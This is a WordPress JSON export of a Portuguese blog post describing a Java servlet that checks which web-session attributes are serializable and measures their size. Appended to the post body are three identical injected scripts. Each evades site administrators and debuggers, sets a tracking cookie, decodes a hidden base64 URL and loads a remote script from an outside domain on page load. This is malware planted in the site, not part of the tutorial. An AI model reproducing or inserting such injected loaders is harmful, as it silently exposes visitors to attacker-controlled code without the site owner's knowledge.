{"id":1299,"date":"2011-04-04T12:48:12","date_gmt":"2011-04-04T15:48:12","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1299"},"modified":"2025-10-26T22:40:50","modified_gmt":"2025-10-27T01:40:50","slug":"sessao-serializavel-e-exploravel","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/04\/04\/sessao-serializavel-e-exploravel\/","title":{"rendered":"Sess\u00e3o serializ\u00e1vel e explor\u00e1vel"},"content":{"rendered":"<p style=\"text-align: justify;\">Aproveitando o embalo do post: <a title=\"Violando o encapsulamento\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2011\/03\/31\/violando-o-encapsulamento\/\" target=\"_blank\" rel=\"noopener\">http:\/\/www.thiagovespa.com.br\/blog\/2011\/03\/31\/violando-o-encapsulamento\/<\/a> resolvi criar uma aplica\u00e7\u00e3o para explorar a sess\u00e3o de uma aplica\u00e7\u00e3o Web e verificar quais atributos s\u00e3o Serializ\u00e1veis ou n\u00e3o. Para quem j\u00e1 precisou rodar uma aplica\u00e7\u00e3o em cluster com replica\u00e7\u00e3o de sess\u00e3o sabe que \u00e9 fundamental que todos os atributos que est\u00e3o na sess\u00e3o implemente a interface <a title=\"Serializable\" href=\"http:\/\/download.oracle.com\/javase\/6\/docs\/api\/java\/io\/Serializable.html\" target=\"_blank\" rel=\"noopener\">Serializable<\/a>. Caso contr\u00e1rio, o erro <a title=\"NotSerializableException\" href=\"http:\/\/download.oracle.com\/javase\/6\/docs\/api\/java\/io\/NotSerializableException.html\" target=\"_blank\" rel=\"noopener\">NotSerializableException<\/a> ir\u00e1 ocorrer.<\/p>\n<p style=\"text-align: justify;\">Infelizmente existem bibliotecas de terceiros e de frameworks que n\u00e3o temos o c\u00f3digo e nem documenta\u00e7\u00e3o suficiente para saber se o atributo \u00e9 serializ\u00e1vel ou n\u00e3o, mas felizmente, temos maneiras de verificar isso utilizando c\u00f3digo. Para resolver esse problema criei uma servlet que permiti navegarmos nas classes utilizadas nos atributos de sess\u00e3o e explorar o conte\u00fado dos objetos.<\/p>\n<p style=\"text-align: justify;\">Para recuperar as informa\u00e7\u00f5es das classes, utilizei um map que associa a classe com suas informa\u00e7\u00f5es. Nesse map estar\u00e3o todas as classes envolvidas, seja por heran\u00e7a (linha 14) ou por composi\u00e7\u00e3o (linha 17).<\/p>\n<pre class=\"brush: java; highlight: [14,17]; title: ; notranslate\" title=\"\">\n\tpublic void getAllFields(Class c, String fieldName) {\n\t\tif (mapOfClasses.containsKey(c)) {\n\t\t\treturn;\n\t\t}\n\t\tField&#x5B;] fields = c.getDeclaredFields();\n\t\tList fieldInfoList = new ArrayList();\n\t\tfor (Field f : fields) {\n\t\t\tf.setAccessible(true);\n\t\t\tfieldInfoList.add(new FieldInfo(f.getName(), f.getType(), f\n\t\t\t\t\t.getModifiers()));\n\t\t}\n\t\tmapOfClasses.put(c, fieldInfoList);\n\t\tif (c.getSuperclass() != null) {\n\t\t\tgetAllFields(c.getSuperclass(), &quot;extends&quot;);\n\t\t}\n\t\tfor (FieldInfo aFieldInfo : fieldInfoList) {\n\t\t\tgetAllFields(aFieldInfo.getFieldClass(), aFieldInfo.getFieldName());\n\t\t}\n\t}\n<\/pre>\n<p style=\"text-align: justify;\">Esse m\u00e9todo \u00e9 chamado recursivamente para todos os tipos de atributos e para a classe pai. Dessa forma, o map fica composto por todas as classes envolvidas na sess\u00e3o Web. Essas informa\u00e7\u00f5es s\u00e3o auxiliares para verificar quais classes implementam a interface Serializable, e quais s\u00e3o os atributos envolvidos e se eles implementam tamb\u00e9m.<\/p>\n<p style=\"text-align: justify;\">Os recursos mais bacanas implementados foram: navegar pelos atributos de sess\u00e3o, calcular o tamanho que cada atributo fica em mem\u00f3ria (isso permite an\u00e1lise para otimiza\u00e7\u00e3o de uso de sess\u00e3o) e verificar quais atributos s\u00e3o serializ\u00e1veis de maneira interativa. E para isso necessitamos verificar se o objeto \u00e9 serializ\u00e1vel ou n\u00e3o. Com isso seria necess\u00e1rio verificar se todos os seus atributos (n\u00e3o est\u00e1ticos e blabla :D) acess\u00edveis\u00a0 s\u00e3o serializ\u00e1veis, se a classe pai n\u00e3o for serializ\u00e1vel, ela tem que ter um construtor padr\u00e3o, entre outros. Existem v\u00e1rios aspectos a serem verificados. Mais informa\u00e7\u00f5es voc\u00ea pode encontrar no pr\u00f3prio javadoc da interface <a title=\"Serializable\" href=\"http:\/\/download.oracle.com\/javase\/6\/docs\/api\/java\/io\/Serializable.html\" target=\"_blank\" rel=\"noopener\">Serializable<\/a>. Para facilitar essa an\u00e1lise e realiz\u00e1-la de maneira mais simples, basta serializar o objeto :D. Se tivermos um NotSerializableException significa que a classe n\u00e3o \u00e9 serializ\u00e1vel, caso contr\u00e1rio ela \u00e9 serializ\u00e1vel e como j\u00e1 serializamos ela, podemos recuperar o tamanho que ficar\u00e1 em mem\u00f3ria. Podemos fazer isso utilizando um ByteArrayOutputStream e gravar o objeto nele. O c\u00f3digo \u00e9 bem simples:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\n\tpublic int getSerialSize(Object o) throws IOException {\n\t\tByteArrayOutputStream out = new ByteArrayOutputStream();\n\t\tObjectOutputStream oos;\n\t\toos = new ObjectOutputStream(out);\n\t\toos.writeObject(o);\n\t\toos.close();\n\t\treturn out.toByteArray().length;\n\t}\n<\/pre>\n<p style=\"text-align: justify;\">Dessa maneira fica muito simples analisar os objetos na sess\u00e3o. Coloquei algumas cores para sinalizar cada objeto e o resultado final \u00e9 o seguinte:<\/p>\n<figure id=\"attachment_1308\" aria-describedby=\"caption-attachment-1308\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Session-Serializable-Checker-.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1308 \" title=\"Session Serializable Checker\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Session-Serializable-Checker--300x133.png\" alt=\"Session Serializable Checker\" width=\"300\" height=\"133\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Session-Serializable-Checker--300x133.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Session-Serializable-Checker--1024x457.png 1024w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Session-Serializable-Checker-.png 1398w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1308\" class=\"wp-caption-text\">Session Serializable Checker<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Dessa forma sabemos que o objeto da classe LocaleMB n\u00e3o \u00e9 serializ\u00e1vel. Podemos clicar no nome da classe para verificar quais atributos est\u00e3o envolvidos e se ela implementa a interface serializable conforme mostrado abaixo:<\/p>\n<figure id=\"attachment_1309\" aria-describedby=\"caption-attachment-1309\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Session-Serializable-Checker-2.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1309 \" title=\"Session Serializable Checker - 2\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Session-Serializable-Checker-2-300x177.png\" alt=\"Session Serializable Checker - 2\" width=\"300\" height=\"177\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Session-Serializable-Checker-2-300x177.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Session-Serializable-Checker-2.png 963w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1309\" class=\"wp-caption-text\">Session Serializable Checker - 2<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Como podemos ver, a classe n\u00e3o est\u00e1 em amarelo, o que significa que ela implementa a interface Serializable, e podemos ver que apenas colocando implements Serializable n\u00e3o resolve o nosso problema. Se navegarmos dentro dos valores do objeto iremos ver algo interessante:<\/p>\n<figure id=\"attachment_1310\" aria-describedby=\"caption-attachment-1310\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Session-Serializable-Checker-3.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1310 \" title=\"Session Serializable Checker - 3\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Session-Serializable-Checker-3-300x89.png\" alt=\"Session Serializable Checker - 3\" width=\"300\" height=\"89\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Session-Serializable-Checker-3-300x89.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/04\/Screenshot-Session-Serializable-Checker-3.png 959w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-1310\" class=\"wp-caption-text\">Session Serializable Checker - 3<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Embora a classe implemente a interface Serializable, um dos seus atributos n\u00e3o \u00e9 serializ\u00e1vel. S\u00f3 conseguimos ver essa informa\u00e7\u00e3o de maneira simples, gra\u00e7as a esse utilit\u00e1rio. E por isso vou <a title=\"thiagovespa-serializablechecker\" href=\"http:\/\/www.thiagovespa.com.br\/utils\/thiagovespa-serializablechecker.jar\" target=\"_blank\" rel=\"noopener\">disponibiliz\u00e1-lo<\/a>, caso algu\u00e9m tenha problemas de NotSerializableException.<\/p>\n<p style=\"text-align: justify;\">Para coloc\u00e1-lo no seu projeto Web \u00e9 muito simples. Copie o <a title=\"thiagovespa-serializablechecker\" href=\"http:\/\/www.thiagovespa.com.br\/utils\/thiagovespa-serializablechecker.jar\" target=\"_blank\" rel=\"noopener\">jar desse projeto<\/a> para a pasta WEB-INF\/lib (ou bibliotecas, build path, depende da IDE de sua prefer\u00eancia). Se o seu projeto utilizar Servlet 3.0, n\u00e3o \u00e9 necess\u00e1ria nenhuma configura\u00e7\u00e3o adicional, pois ele j\u00e1 possui o mapeamento para Servlet\u00a0 - @WebServlet(urlPatterns = { \"\/serialcheck\" }). Caso voc\u00ea deseja sobreescrever esse mapeamento ou utiliza uma especifica\u00e7\u00e3o de Servlet inferior, abra o seu arquivo web.xml e adicione as seguintes linhas:<\/p>\n<pre class=\"brush: xml; title: ; notranslate\" title=\"\">\n...\n &lt;servlet&gt;\n  &lt;servlet-name&gt;SerializableChecker&lt;\/servlet-name&gt;\n  &lt;servlet-class&gt;br.com.thiagovespa.serializablechecker.SerializableChecker&lt;\/servlet-class&gt;\n &lt;\/servlet&gt;\n &lt;servlet-mapping&gt;\n  &lt;servlet-name&gt;SerializableChecker&lt;\/servlet-name&gt;\n  &lt;url-pattern&gt;\/serialcheck&lt;\/url-pattern&gt;\n &lt;\/servlet-mapping&gt;\n...\n<\/pre>\n<p style=\"text-align: justify;\">A\u00ed \u00e9 s\u00f3 acessar o endere\u00e7o:\u00a0 http[s]:\/\/&lt;ip&gt;:&lt;porta&gt;\/&lt;contexto&gt;\/serialcheck (p. ex: http:\/\/localhost:7001\/portal\/serialcheck) e brincar um pouco. Sugest\u00f5es s\u00e3o bem vindas!<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Aproveitando o embalo do post: http:\/\/www.thiagovespa.com.br\/blog\/2011\/03\/31\/violando-o-encapsulamento\/ resolvi criar uma aplica\u00e7\u00e3o para explorar a sess\u00e3o de uma aplica\u00e7\u00e3o Web e verificar quais atributos s\u00e3o Serializ\u00e1veis ou n\u00e3o. Para quem j\u00e1 precisou rodar uma aplica\u00e7\u00e3o em cluster com replica\u00e7\u00e3o de sess\u00e3o sabe <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/04\/04\/sessao-serializavel-e-exploravel\/\">Continue lendo  <span class=\"screen-reader-text\">  Sess\u00e3o serializ\u00e1vel e explor\u00e1vel<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,10],"tags":[],"class_list":["post-1299","post","type-post","status-publish","format-standard","hentry","category-java","category-jee"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1299","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1299"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1299\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1299"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1299"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1299"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}